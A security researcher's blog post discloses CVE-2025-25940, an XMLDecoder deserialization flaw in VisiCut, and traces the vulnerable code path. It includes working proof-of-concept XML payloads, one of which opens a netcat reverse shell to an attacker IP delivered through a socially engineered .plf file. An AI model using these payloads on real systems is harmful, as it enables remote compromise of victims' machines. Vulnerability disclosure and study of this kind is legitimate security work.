5 minute read

Discovery of CVE-2025-25940

A new part of my weekly routine is to read through the most recently published CVEs to learn about new vulnerabilities and to observe trends in the types of vulnerabilities being discovered. One week in early January 2025, I came upon multiple vulnerabilities focused on deserialization. This led me down a rabbit hole of research, culminating in the discovery of my own XML deserialization vulnerability in the VisiCut software suite: CVE-2025-25940.

What is Serialization and Why is it Dangerous?

Serialization is the process of converting an object into a format (e.g., XML, JSON) that can be stored or transmitted and later reconstructed. Deserialization is the reverse process - taking serialized data and converting it back into an object. However, if deserialization is performed on untrusted data without proper validation, attackers (or security researchers) can inject malicious objects and execute arbitrary code, leading to severe security risks.

A great video explaining deserialization exploitation is available here: Exploit Java Deserialization by Frohoff - the creator of ysoserial.

High-level Overview of CVE-2025-25940

VisiCut 2.1 is vulnerable to insecure XML deserialization in the loadPlfFile method of VisicutModel.java. This vulnerability occurs due to the use of java.beans.XMLDecoder to process user provided XML input in an unsafe manner. If an attacker supplies a .plf zip archive containing a malicious XML file, a victim user opening the .plf file could unintentionally execute arbitrary code, potentially allowing remote access to their victim machine.

Vulnerable Code:

The vulnerability lies in lines 525 and 526 of VisicutModel.java, where XMLDecoder is used to deserialize the contents of transform.xml. In this snippet, the XMLDecoder object is instantiated using input from a ZipFile, and its readObject() method is called without validation, meaning any arbitrary XML data provided within transform.xml will be processed and deserialized.

if (name.equals((i > 0 ? i+"/" : "")+"transform.xml")) // XML needs to be called transform.xml
      {
        XMLDecoder decoder = new XMLDecoder(zip.getInputStream(entry)); // Vulnerable
        transforms.put(i, (AffineTransform) decoder.readObject()); // Unsafe Deserialization
      }

The vulnerable code snippet above is part of the loadPlfFile method, which initializes a ZipFile from the provided File f. This method extracts transform.xml from the archive and deserializes its contents using XMLDecoder, making it susceptible to arbitrary code execution.

  public PlfFile loadPlfFile(MappingManager mm, File f, List<String> warnings) throws IOException {
    ZipFile zip = new ZipFile(f); 
    PlfFile resultingFile = new PlfFile();
    resultingFile.setFile(f);
    //Collect for each part the transform,mapping and sourceFile
    Map<Integer,AffineTransform> transforms = new LinkedHashMap<>();
    Map<Integer,MappingSet> mappings = new LinkedHashMap<>();
    Map<Integer,File> sourceFiles = new LinkedHashMap<>();
    Enumeration<? extends ZipEntry> entries = zip.entries();
    while (entries.hasMoreElements())
    {
      ZipEntry entry = entries.nextElement();
      String name = entry.getName();
      Integer i = name.matches("[0-9]+/.*") ? Integer.parseInt(name.split("/")[0]) : 0;
      if (name.equals((i > 0 ? i+"/" : "")+"transform.xml"))
      {
        XMLDecoder decoder = new XMLDecoder(zip.getInputStream(entry));
        transforms.put(i, (AffineTransform) decoder.readObject());
      }

Tracing the Vulnerable Function Call

To fully understand how the loadPlfFile method is executed, we trace back its invocation.

1) The loadPlfFile method is called within the broader loadFile method at line 462.

 public void loadFile(MappingManager mm, File file, List<String> warnings, boolean discardCurrent) throws IOException, ImportException
  {
    if (PLFFilter.accept(file))
    {
      PlfFile newFile = loadPlfFile(mm, file, warnings);
      ...
      }
    }

2) For execution to reach line 462, PLFFilter.accept(file) must return true. The PLFFilter ensures that only files with a .plf extension are accepted. This filter is instantiated at line 105:

public static final FileFilter PLFFilter = new ExtensionFilter(".plf", "VisiCut Portable Laser Format (*.plf)");

3) With this knowledge, we conclude that to exploit this vulnerability, we need to craft a .plf archive containing a malicious transform.xml.

4) To determine where loadFile is called, we search for references to it and find 11 occurrences in:

  • PreviewPanelKeyboardMouseHandler.java
  • MainView.java
  • VicicutApp.Java.

5) The most relevant reference is at line 1951 in MainView.java where loadFile is called from the openFileDialog method:

private void openFileDialog(boolean discardCurrent)
  {
    final FileFilter allFilter = VisicutModel.getInstance().getAllFileFilter();
    //On Mac os, awt.FileDialog looks more native
    if (Helper.isMacOS() || Helper.isLinux())
    {
      FileDialog openFileChooser = new FileDialog(this, bundle.getString("PLEASE SELECT A FILE"));
      openFileChooser.setMode(FileDialog.LOAD);
      if (lastDirectory != null)
      {
        openFileChooser.setDirectory(lastDirectory.getAbsolutePath());
      }
      openFileChooser.setFilenameFilter(new FilenameFilter()
      {

        public boolean accept(File dir, String file)
        {
          return allFilter.accept(new File(dir, file));
        }
      });
      openFileChooser.setVisible(true);
      if (openFileChooser.getFile() != null)
      {
        File file = new File(new File(openFileChooser.getDirectory()), openFileChooser.getFile());
        loadFile(file, discardCurrent);
      }
    }

6) Since the file dialog opens when the user selects a file from the VisiCut GUI shown below, we can use this as our entry point to load the malicious .plf file manually.

To summarize:

  1. malicious XML file named transform.xml must be placed inside a .plf archive.
  2. The loadPlfFile method is triggered bypassing the PLFFilter check: The file extension must be .plf (defined in ExtensionFilter).
  3. loadFile method (line 462) calls loadPlfFile if the file meets the filter criteria.
  4. openFileDialog method in MainView.java (line 1951) triggers loadFile when a user selects a file.

Proof-of-Concept: Creating a Malicious Payload

To demonstrate this vulnerability, I crafted a simple proof-of-concept XML payload that creates and writes to /tmp/poc_test.txt when loaded into VisiCut:

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_181" class="java.beans.XMLDecoder">
  <object class="java.lang.ProcessBuilder">
    <array class="java.lang.String" length="3">
      <void index="0">
        <string>sh</string>
      </void>
      <void index="1">
        <string>-c</string>
      </void>
      <void index="2">
        <string>echo hello > /tmp/poc_test.txt</string> // Create poc_test.txt
      </void>
    </array>
    <void method="start"/>
  </object>
</java>

Now, we package this XML file inside a .plf archive:

zip payload.plf transform.xml

Once loaded in VisiCut, /tmp/poc_test.txt is created containing the string hello!

Proof string:

Attack Path: Reverse Shell Execution

In this attack path, I have modified transform.xml to execute a reverse shell.

To delineate a scenario that is not too unrealistic, let’s say I have been able to socially engineer a user of VisiCut to open up a cool, highspeed new laser cutting job that I created named SuperCool.plf. This .plf contains a transform.xml file containing the following contents that will spawn a reverse shell.

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_181" class="java.beans.XMLDecoder">
  <object class="java.lang.ProcessBuilder">
    <array class="java.lang.String" length="3">
      <void index="0">
        <string>sh</string>
      </void>
      <void index="1">
        <string>-c</string>
      </void>
      <void index="2">
        <string>nc -c sh 192.168.35.130 9001</string> // Reverse Shell Code
      </void>
    </array>
    <void method="start"/>
  </object>
</java>

Once SuperCool.plf is sent over to my victim user, I start up a netcat listener on my attacker machine.

nc -nvlp 9001

And when the victim loads the .plf file, I receive a shell granting me remote access to their system!

Conclusion

This was an interesting vulnerability to research. Reviewing the source code of an open-source project provided a great opportunity to learn about insecure deserialization and how Java applications handle file inputs.

References

  1. NIST CVE Link
  2. CVE Link
  3. VisiCut Site

Tags:

Updated: